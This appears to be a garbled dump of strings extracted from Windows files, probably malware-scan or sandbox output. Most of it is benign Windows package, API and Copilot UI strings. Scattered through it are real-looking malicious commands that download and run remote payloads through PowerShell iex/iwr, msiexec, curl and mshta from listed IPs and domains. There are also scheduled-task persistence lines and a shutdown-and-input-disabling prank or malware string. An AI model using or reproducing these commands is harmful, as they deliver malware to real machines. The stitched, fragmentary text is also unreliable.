    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft.Windows.
\Software\Microsoft\Windows\CurrentVersin
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
windows\.*%.cpl*
.run"c:\windows\logdrv.bat
system32\shutdown.execttycon
be^com.microsoft.windows.extensions.xaml.rulesengine
com.microsoft.windows.extensions.xaml.rulesengine
bf^com.microsoft.windows.extension.microsoftaccountengagementcoordinator
com.microsoft.windows.extension.microsoftaccountengagementcoordinator
windowsudk.shellcommon.dll
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\token_helpers.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\Staging.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\result_macros.h
0[]]('c:\windows\microsoft.net\framework\v2.0.50727\regasm.exe',}
System32\
system.windows.forms
4FC:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\registry.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\registry_helpers.h
!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mm.s-1-5-21
schtasks/create/tnssss/tr"wscript.exec:\windows\temp\tupout.vbs
windowsW
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions foqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtiglfwqtig
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\result.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\resource.h
 Windows
'la keyloggerteclas capturadaswindows media player\skyp
U\system32\avp.id
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Windows.Storage
8WS\SYSTEM32\UNKNOWNDLL.DLL
ZrScC:\WINDOWS\SYSTEM32\TCPMONUI.DLL>!
Microsoft.Windows.Shell.WidgetBoard
Microsoft.Windows.Shell.Widgets
           xmlns:desktop2="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"/>
C:\Windows\System32\Tasks\
Windows.Media
Windows.Media.SpeechRecognition
Windows.ApplicationModel.Wallet
Windows.Security.Authentication.Web.Provider
Windows.Security.Authentication.Web
Windows.Foundation.Metadata
WindowsDeleteString
WindowsCreateString
WindowsGetStringRawBuffer
WindowsCreateStringReference
98a42a15-c16e-45ce-b4bc-c05d04e82f1fMinesweeper_Windows.Properties
system32\std
windowsok
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
Path=C:\WINDOWS\system32;
c:/windows/system32/d
c:/windows/system32/dt
'Windows.Foundation.UniversalApiContract
pTileWideText02 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text02.
'Windows.Foundation.UniversalApiContract
pTileWideText03 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text03.
'Windows.Foundation.UniversalApiContract
pTileWideText04 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text04.
'Windows.Foundation.UniversalApiContract
pTileWideText05 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text05.
'Windows.Foundation.UniversalApiContract
pTileWideText06 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text06.
'Windows.Foundation.UniversalApiContract
pTileWideText07 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text07.
'Windows.Foundation.UniversalApiContract
pTileWideText08 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text08.
'Windows.Foundation.UniversalApiContract
pTileWideText09 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text09.
'Windows.Foundation.UniversalApiContract
pTileWideText10 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text10.
'Windows.Foundation.UniversalApiContract
pTileWideText11 may be altered or unavailable for releases after Windows 8.1. Instead, use TileWide310x150Text11.
'Windows.Foundation.UniversalApiContract
2Windows.UI.Notifications.ITileUpdateManagerStatics
'Windows.Foundation.UniversalApiContract
3Windows.UI.Notifications.ITileUpdateManagerStatics2
'Windows.Foundation.UniversalApiContract
0Windows.UI.Notifications.IToastCollectionFactory
'Windows.Foundation.UniversalApiContract
2Windows.UI.Notifications.IToastNotificationFactory
'Windows.Foundation.UniversalApiContract
:Windows.UI.Notifications.IToastNotificationManagerStatics4
'Windows.Foundation.UniversalApiContract
:Windows.UI.Notifications.IToastNotificationManagerStatics2
'Windows.Foundation.UniversalApiContract
9Windows.UI.Notifications.IToastNotificationManagerStatics
'Windows.Foundation.UniversalApiContract
:Windows.UI.Notifications.IToastNotificationManagerStatics5
'Windows.Foundation.UniversalApiContract
Windows.UI.Popups.MessageDialog
Windows.UI.Popups.PopupMenu
Windows.UI.Popups.UICommand
'Windows.UI.Popups.IMessageDialogFactory
'Windows.Foundation.UniversalApiContract
#Windows.UI.Popups.IUICommandFactory
'Windows.Foundation.UniversalApiContract
,Windows.UI.Shell.IAdaptiveCardBuilderStatics
'Windows.Foundation.UniversalApiContract
:Windows.UI.Shell.CompanionWindows.CompanionWindowsContract
DWindows.UI.Shell.CompanionWindows.ICompanionWindowCoordinatorStatics
:Windows.UI.Shell.CompanionWindows.CompanionWindowsContract
@Windows.UI.Shell.CompanionWindows.ICompanionWindowRequestStatics
:Windows.UI.Shell.CompanionWindows.CompanionWindowsContract
<Windows.UI.Shell.CompanionWindows.CompanionWindowCoordinator
8Windows.UI.Shell.CompanionWindows.CompanionWindowRequest
>Windows.UI.Shell.CompanionWindows.CompanionWindowRequestResult
,Windows.UI.Shell.IFocusSessionManagerStatics
'Windows.Foundation.UniversalApiContract
Windows.UI.Shell.FocusSession
$Windows.UI.Shell.FocusSessionManager
+Windows.UI.Shell.SecurityAppManagerContract
#Windows.UI.Shell.SecurityAppManager
,Windows.UI.Shell.ShareWindowCommandEventArgs
)Windows.UI.Shell.ShareWindowCommandSource
Windows.UI.Shell.TaskbarManager
)Windows.UI.Shell.WindowTabManagerContract
Windows.UI.Shell.WindowTab
1Windows.UI.Shell.WindowTabCloseRequestedEventArgs
$Windows.UI.Shell.WindowTabCollection
Windows.UI.Shell.WindowTabGroup
Windows.UI.Shell.WindowTabIcon
!Windows.UI.Shell.WindowTabManager
2Windows.UI.Shell.WindowTabSwitchRequestedEventArgs
3Windows.UI.Shell.WindowTabTearOutRequestedEventArgs
5Windows.UI.Shell.WindowTabThumbnailRequestedEventArgs
+Windows.UI.Shell.SecurityAppManagerContract
1Windows.UI.Shell.IShareWindowCommandSourceStatics
'Windows.Foundation.UniversalApiContract
'Windows.UI.Shell.ITaskbarManagerStatics
'Windows.Foundation.UniversalApiContract
8Windows.UI.Shell.ITaskbarManagerDesktopAppSupportStatics
'Windows.Foundation.UniversalApiContract
-Windows.UI.Shell.Tasks.IAppTaskContentStatics
&Windows.UI.Shell.Tasks.AppTaskContract
&Windows.UI.Shell.Tasks.AppTaskContract
*Windows.UI.Shell.Tasks.IAppTaskInfoStatics
&Windows.UI.Shell.Tasks.AppTaskContract
&Windows.UI.Shell.Tasks.AppTaskContract
1Windows.UI.Shell.Tasks.IAppTaskResultAssetFactory
&Windows.UI.Shell.Tasks.AppTaskContract
%Windows.UI.Shell.Tasks.AppTaskContent
"Windows.UI.Shell.Tasks.AppTaskInfo
)Windows.UI.Shell.Tasks.AppTaskResultAsset
)Windows.UI.Shell.WindowTabManagerContract
&Windows.UI.Shell.IWindowTabIconStatics
)Windows.UI.Shell.WindowTabManagerContract
)Windows.UI.Shell.IWindowTabManagerStatics
)Windows.UI.Shell.WindowTabManagerContract
Windows.UI.StartScreen.JumpList
#Windows.UI.StartScreen.JumpListItem
$Windows.UI.StartScreen.SecondaryTile
gShortName may be altered or unavailable for releases after Windows Phone 8.1. Instead, use DisplayName.
'Windows.Foundation.UniversalApiContract
aShortName may be altered or unavailable for releases after Windows 8.1. Instead, use DisplayName.
'Windows.Foundation.UniversalApiContract
qLogo may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.Square150x150Logo.
'Windows.Foundation.UniversalApiContract
tSmallLogo may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.Square30x30Logo.
'Windows.Foundation.UniversalApiContract
sWideLogo may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.Wide310x150Logo.
'Windows.Foundation.UniversalApiContract
TileOptions may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.ShowNameOnSquare150x150Logo, VisualElements.ShowNameOnWide310x150Logo, and RoamingEnabled.
'Windows.Foundation.UniversalApiContract
xForegroundText may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.ForegroundText.
'Windows.Foundation.UniversalApiContract
zBackgroundColor may be altered or unavailable for releases after Windows 8.1. Instead, use VisualElements.BackgroundColor.
'Windows.Foundation.UniversalApiContract
=Windows.UI.Accessibility.ScreenReaderPositionChangedEventArgs
'Windows.Foundation.UniversalApiContract
,Windows.UI.Accessibility.ScreenReaderService
'Windows.Foundation.UniversalApiContract
;Windows.UI.ApplicationSettings.IAccountsSettingsPaneStatics
'Windows.Foundation.UniversalApiContract
<Windows.UI.ApplicationSettings.IAccountsSettingsPaneStatics2
'Windows.Foundation.UniversalApiContract
<Windows.UI.ApplicationSettings.IAccountsSettingsPaneStatics3
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
8Windows.UI.ApplicationSettings.ICredentialCommandFactory
'Windows.Foundation.UniversalApiContract
3Windows.UI.ApplicationSettings.AccountsSettingsPane
MWindows.UI.ApplicationSettings.AccountsSettingsPaneCommandsRequestedEventArgs
@Windows.UI.ApplicationSettings.AccountsSettingsPaneEventDeferral
'Windows.Foundation.UniversalApiContract
0Windows.UI.ApplicationSettings.CredentialCommand
.Windows.UI.ApplicationSettings.SettingsCommand
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
+Windows.UI.ApplicationSettings.SettingsPane
:Windows.UI.ApplicationSettings.SettingsPaneCommandsRequest
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
EWindows.UI.ApplicationSettings.SettingsPaneCommandsRequestedEventArgs
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
0Windows.UI.ApplicationSettings.WebAccountCommand
4Windows.UI.ApplicationSettings.WebAccountInvokedArgs
8Windows.UI.ApplicationSettings.WebAccountProviderCommand
6Windows.UI.ApplicationSettings.ISettingsCommandStatics
'Windows.Foundation.UniversalApiContract
6Windows.UI.ApplicationSettings.ISettingsCommandFactory
'Windows.Foundation.UniversalApiContract
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
3Windows.UI.ApplicationSettings.ISettingsPaneStatics
;Windows.UI.ApplicationSettings.ApplicationsSettingsContract
8Windows.UI.ApplicationSettings.IWebAccountCommandFactory
'Windows.Foundation.UniversalApiContract
@Windows.UI.ApplicationSettings.IWebAccountProviderCommandFactory
'Windows.Foundation.UniversalApiContract
Windows.UI.IColorHelperStatics2
'Windows.Foundation.UniversalApiContract
Windows.UI.IColorHelperStatics
'Windows.Foundation.UniversalApiContract
Windows.UI.IColorsStatics
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
2Windows.UI.Composition.IAnimationControllerStatics
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
3Windows.UI.Composition.ICompositionAnimationFactory
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
/Windows.UI.Composition.ICompositionBrushFactory
'Windows.Foundation
Windows.Gaming
Windows.Gaming.Input
'^Windows X
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.xboxpackage.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.appinstallerinfo.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packageupdatingeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagestatuschangedeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecontentgroupstagingeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.ARI8
OutlookForWindows
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
index.windows
windows.updateTask
windows.appExecutionAlias
windows.autoPlayContent
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.backgroundTasks
windows.preInstalledConfigTask
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExtension
windows.appExtensionHost
windows.appExecutionAlias
windows.comServer
windows.protocol
windows.protocol
windows.protocol
windows.fileExplorerContextMenus
windows.comServer
windows.comInterface
windows.appExtension
windows.appExtension
windows.startupTask
windows.appExtensionHost
windows.appExecutionAlias
windows.comServer
windows.appExtension
windows.appService
windows.appService
windows.fullTrustProcess
windows.personalAssistantLaunch
windows.appService
windows.appService
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.updateTask
windows.preInstalledConfigTask
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.appExtension
windows.appExecutionAlias
windows.updateTask
windows.protocol
windows.preInstalledConfigTask
windows.backgroundTasks
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.protocol
windows.comServer
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.appService
windows.appService
windows.appService
windows.protocol
windows.protocol
windows.protocol
windows.appExtension
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.autoPlayContent
windows.appExecutionAlias
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.preInstalledConfigTask
windows.backgroundTasks
windows.protocol
windows.webAccountProvider
windows.protocol
windows.fileOpenPicker
windows.protocol
windows.protocol
windows.appExtension
windows.protocol
windows.
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.desktopAppMigration
windows.comServer
windows.comInterface
windows.appUriHandler
windows.appExecutionAlias
windows.appExtension
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.protocol
windows.comServer
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.appExtension
Cortana.Internal.Search.WindowsStoreResult
Cortana.Internal.Search.WindowsStoreResultProvider
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
c:\windows\
="http://2t.wf:8080/aeaz8qpk4hyhoyyt0lld178ws21btnr/r/pn43rx/!computername!"!%systemroot%\system32\shell32.dll%windir%\system32\cmd.exe
c:\windows\system32\cmd.exe/v:on/cfindstr":::::::::::::::.*""revolutioncrypter.lnk">"%tmp%\sys.vbs"&"%tmp%\sys.vbs"&del"%tmp%\sys.vbs"
exehttps://e-aks.uz/s.htayc:\windows\winsxs\wow64_microsoft-windows-onedrive-setup_31bf3856ad364e35_10.0.19041.1_none_e585f901f9ce93e6
5c:\windows\system32\cmd.exe/v/rstartmsiexec-package"http://0j.re:8080/a5yk9z4zvlpzkrsepnlmnr/syzpxkfw/!computername!"pplrb=iqtblon-qn
c:\windows\imes\
system32\zero.log
c:\windows\syswow64\
Model@WindowsUdk
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
Windows.Internal.Shell.LegacySystemSettingsEnvironment
Windows.Internal.Shell.LegacySystemSettingsLauncher
Windows.Internal.Shell.PasswordEnrollment
Windows.Internal.Shell.SnapLayoutManager
Windows.Internal.Shell.SwitchItemThumbnailDevice
Windows.Internal.Shell.TaskGroups.TaskGroupDataModelSingleton
Windows.Internal.Shell.TaskGroups.TaskGroupProvider
Windows.Internal.Shell.TaskGroups.TaskGroupsSwitchItemController
LIKE 'windows.a
Windows/wbem/root/cimv2:Win32_PerfRawData
owindows-1252
ROOT\Microsoft\Windows\Defender
SetWindowsHookExW
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
c:\windows\system32\cmd.exe/c%systemroot%\system32\windowspowershell\v1.0\powershell.exe-whiddeniwr-urihttp://
e","result":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Suggestions"}
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
71^windows.appExtension
microsoft.windows.camera.multipicke9
windows-feedback
Microsoft.Windows.Security.Kerberos
Microsoft.Windows.Security.SspCommon
Microsoft.Windows.TlgAggregateInternal
Platform is Windows Server
Platform is not a Windows Server
-windowstylehidden-command
Q-nop-windowstylehidden-command"iex(irm'https://
c:\windows\system32\
c:\windows\system32\openssh\ssh.exe-oproxycommand="cmd/cmshtahttps://4partyinkilo5.lol/go.mp4".
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('tamshhttp_A^A]A\_^[
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.GroupPolicy.GPSVC
Microsoft.Windows.GPTraceProvider
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-BootVid-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
~,%Windows.pdb
="c:\windows\temp\
%windir%\system32\dwmapi.dll
52^com.microsoft.windows.telemetryi
\software\microsoft\windows\currentversion\run\ur under attack u have the right to remain silent.me and my rcthe system shuts down in 60 seconds.set cdaudio door closed waitrundll32 keyboard,disablerundll32 mouse,disable
c:\windows\sfdll.dllhelo
IsWindowsPackagedProcess
Microsoft.Windows
Microsoft.Windows.Widgets.Host
Microsoft.Windows.Widgets.Internal.Provider
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ext-ms-win-ntuser-windowstation-l1-1-0.dll
CloseWindowStation
OpenWindowStationW
edge-emulate-windows-sku
..\..\base\win\windows_version.cc
WindowsVersion-major
WindowsVersion-minor
WindowsVersion-build
Windows NT
QWindowsRemovableDriveListener
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\?i*\s*3?\m*ta.e*('https://transfer.sh/5ra3dw/mbtxzl'+'.h'+'ta')
ar	c:\windows\system32\cmd.exe/c"echo1>%temp%\x.pdf&&start%temp%\x.pdf&msiexec.exe/qn/ihttp://15.235.134.131:8000/sfile/dcatest.msi"
c:\windows\system32\conhost.exe--headlesspowershell.exe-executionpolicybypass-file"\\213.209.150.191\documents\pwsh\kozlina1.ps1"
c:\windows\system32\conhost.exe--headlesspowershell.exe-executionpolicybypass-file"\\104.245.241.157\documents\pwsh\kozlina2.ps1"
c:\windows\system32\cmd.exe/cmode15,1&curlhttps://rdmfile.eu/install/jba8d73h5jy1-o%temp%\nexcuxcs.exe&start/b%temp%\nexcuxcs.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden-nop-c"iex(iwr-usebasicparsinghttp://212.227.245.12/stage1.ps1)"
c:\windows\system32\cmd.exe/crobocopy"\\prompt-native-purchasing-storage.trycloudflare.com@ssl\davwwwroot\wsfq"%temp%spectrum.wsf
]c:\windows\system32\cmd.exe/cmode15,1&curlhttps://www.mamisportlive.it/blog/1.exe-o%temp%\qrmtl2gz.exe&start/b%temp%\qrmtl2gz.exe
%-windowstylehidden-noprofile-epbypass-command"$
("c:\\windows\\diagnostics\\index\\
Software\Microsoft\Windows\Storekeep127\Uninstall\sagtnedes\egenviljes\leishmanialS
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
